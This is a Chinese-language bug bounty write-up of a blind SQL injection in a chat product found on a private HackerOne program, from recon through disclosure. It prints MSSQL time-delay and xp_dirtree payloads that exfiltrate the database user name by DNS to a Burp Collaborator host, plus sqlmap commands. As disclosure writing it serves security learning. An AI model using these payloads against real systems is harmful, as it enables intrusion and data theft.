從Youtube演示視頻獲得啟發,通過SQL注入成功拿下$4324漏洞賞金獎勵
背景介紹:
本文為白帽子Vishal Saini在HackerOne上某個私人項目中的一處發現。由于是私人項目,因此進行了某些打碼以防止泄露任何敏感信息。
發現過程:
首先自然是一些基本的偵察與信息收集,使用一些開源工具(如AMASS等)進行子域枚舉后,便開始查看每個子域,在這個過程中,偶然發現了一個域名:chat.example.com,頁面為默認的IIS服務器登錄頁。

在遇到默認網頁后,總有一定的概率存在某些讓我們感興趣的頁面,因此白帽小哥使用定制化字典對網站目錄進行掃描,在結果中只得到一個/vendor-name目錄,訪問https://chat.example.com/vendorname/ 時出現了 403 錯誤:

遇到此類錯誤時,白帽小哥通常會針對該目錄再次進行目錄掃描,很快發現了另一個目錄,假設當前是/software-name,同樣也給出了403錯誤,那么對 /vendor-name/software-name/ 的目錄掃描卻發現了多個結果。
如 /bin、/scripts、/logs、/styles 等,但這些并沒有什么用,logs雖然有趣,但在該端點上并沒有發現任何有趣的東西,另外白帽小哥還嘗試了各種html、aspx、ashx、asp、bak、log 擴展名,同樣沒有任何收獲,這一切似乎進入了死胡同。

而后白帽小哥繼續在Google上搜索前兩個目錄的名稱,因為它們看起來像/Vendor-name/Software-name,因此在Google上搜索了Vendor-name Software-Name,然后搜索到的結果和有關服務器上安裝的軟件的信息并不多,僅僅知道這是一個付費聊天/支持軟件。
之后,白帽小哥又在GitHub等網站上搜索了該應用程序的目錄結構,同樣一無所獲。在瀏覽了多個結果后,白帽小哥發現了一段由供應商制作的YouTube視頻,講解了如何安裝和配置該應用程序,視頻中的演示者講解了各種配置文件的配置方法,因此在視頻中,演示者打開了安裝服務器的文件夾,當演示者深入軟件目錄時,白帽小哥發現與他掃描到的目錄結構有所對應,于是白帽小哥根據演示視頻對他的掃描字典進行了相應更新,成功發現一處URL:
https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html

在填寫信息并單擊Send之后,先是發出一個GET請求,該請求類似于:
https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=%2Fexample.html
該請求看起來很有趣,于是白帽小哥嘗試查看該請求與響應數據,該請求中_returnURL包含一個HTML重定向,因此白帽小哥試圖將URL改為https://evil.com,響應包提示打開重定向超出了范圍,于是白帽小哥又試圖在 URL 中注入javascript:alert(1) ,發現同樣已被正確編碼。
在此之后,白帽小哥嘗試對其它參數進行基本的SQL注入測試,在嘗試了一些有條件的 Blind SQLI 失敗后,白帽小哥開始嘗試一些 Blind SQL有效載荷以觸發時間延遲,因為它是 Microsoft 服務器,所以后端數據庫很可能是支持批量查詢的 Microsoft SQL Server,于是白帽小哥試圖使用無條件的時間延遲以便在響應中誘導一些延遲,而令人驚訝的是居然注入成功了,參數上使用了最基本的Payload(即waitfor delay'0:0:20'--),響應包成功延遲了 20 秒。
有多種方法可以利用Blind SQL注入,如觸發條件響應和帶外攻擊,最常見的方法是讓應用程序觸發我們控制的系統的帶外交互,最常見的方法是使用DNS服務協議,因為幾乎每個組織都允許傳出DNS查詢,在此場景中也是如此。

為了確認漏洞,白帽小哥使用了“xp_dirtree”存儲過程,該存儲過程將嘗試列出其第一個參數中給定的目錄或網絡共享的內容,如果列表是一個網絡共享,它將為它做一個DNS查找,如果我們收到回調信息,則可以確認OOB提取數據是存在可能的。
PingBack Payload:
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —

用戶名提取Payload:
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’+(SELECT user_name())+’.burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —

但是,可以手動提取的字符數是有限制的,如果查詢結果少于 253(包括burp collaborator域名),那么數據提取是可能的,但這足以對報告進行分類,但為了進一步利用,白帽小哥使用 SQLMAP 來輕松地為我們提供想要數據的POC。
注入確認:
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1

獲取數據庫:
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 — dbs

在此之后,白帽小哥迅速提交了漏洞報告,HackerOne 與廠商快速確認該漏洞并將報告定級為 Critical [9.3] 嚴重級,在漏洞修復后,白帽小哥成功獲得了4324 美元的賞金獎勵。

希望本文能對你有所啟發,也歡迎分享給更多對本文感興趣的人~